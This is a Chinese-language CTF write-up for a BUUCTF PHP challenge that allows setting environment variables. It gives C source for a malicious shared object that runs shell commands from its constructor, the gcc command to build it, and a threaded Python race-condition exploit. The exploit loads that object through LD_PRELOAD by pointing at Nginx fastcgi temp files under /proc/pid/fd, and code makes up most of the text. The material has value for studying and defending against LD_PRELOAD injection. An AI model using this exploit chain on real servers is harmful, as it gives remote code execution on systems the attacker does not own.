进入环境,发现了一行代码,你可以传入环境变量的名称来设置靶机php的环境变量
这里要用到一个知识点
Linux的环境变量LD_PRELOAD
如果将这个环境变量指向一个.so文件(相当于win的dll),就会在php代码运行时优先加载这个.So文件
至于.SO文件的制作,可以使用c语言编写恶意代码,使用gcc编译成.So文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
system("cat /flag > /var/www/html/flag");
}
使用一下命令编译为233.so文件
gcc -shared -fPIC /test/hack.c -o 233.so -ldl
得到233.so
接下来的目标就是将233.so上传至目标服务器,这里就要用到另外一个知识点了
关于Nginx临时文件在/proc下
当Nginx的fastcgui接收到的响应大小超过32Kb就会在/var/lib/nginx/fastcgi产生一个存放相应内容的临时文件, 但其实这个过程可以说是稍纵即逝,文件创建到删除的窗口期根本不足以让我们及时的就行文件加载, 这时候就用到了记录进程信息的文件夹/proc/pid/fd。 在Linux上,在一个进程中打开的文件描述符集可以在/proc/PID/fd/路径下访问,其中PID是进程标识符。
在这里面存放有进程打开的全部资源文件的软链接, 最重要的是即使临时文件被删除了也还是一样可以被正常读取(条件竞争)
所以我们就可以将临时文件上传控制为我们的恶意so文件, 然后设置payload为
?env=LD_PRELOAD=/proc/pid/fd/file_id
利用条件竞争去加载so,之后的echo命令 就会加载我们的恶意so文件
据此我们可以写出条件竞争的exp
import threading, requests
URL2 = f'http://eb2f2ac4-dfea-45f7-b46c-56581d73ce25.node4.buuoj.cn:81/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False
def uploader():
print('[+] starting uploader')
with open("233.so","rb") as f:
data1 = f.read()+b'0'*1024*1000
#print(data1)
while not done:
requests.get(URL2, data=data1)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
运行
然后访问http://9af635bf-e099-4f8a-8934-8be7de0b0991.node4.buuoj.cn:81/flag
多访问几次就能下载到flag文件